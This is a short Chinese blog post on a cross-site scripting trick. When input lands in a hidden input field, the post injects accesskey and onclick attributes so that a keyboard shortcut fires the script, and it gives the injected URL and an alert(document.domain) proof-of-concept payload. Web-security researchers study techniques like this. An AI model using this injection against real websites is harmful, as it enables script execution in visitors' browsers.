当 XSS 遇到 hidden input 标签?

适用情况

1
<input type="hidden" name="returnurl" value="[USER INJECT]" />

那么访问http://victim/?value=xxx"οnclick="alert(document.domain)由于标签被隐藏是无法触发的。
所以需要用到accessKey这个小东西

1
<input type="hidden" name="returnurl" value="xxx" accesskey="X" onclick="alert(document.domain)" />

XSS 触发方法为:
Firefox下:shift+alt+X (测试成功)
Chrome:alt+X (最新版 Chrome 未测试成功)

当 XSS 遇到 hidden input 标签?

https://omn.cc/archives/55.html

作者

空指针

发布于

2024-01-23

更新于

2024-01-23

许可协议

You need to set install_url to use ShareThis. Please set it in _config.yml.
You forgot to set the business or currency_code for Paypal. Please set it in _config.yml.

评论

You forgot to set the shortname for Disqus. Please set it in _config.yml.
Your browser is out-of-date!

Update your browser to view this website correctly.&npsb;Update my browser now

×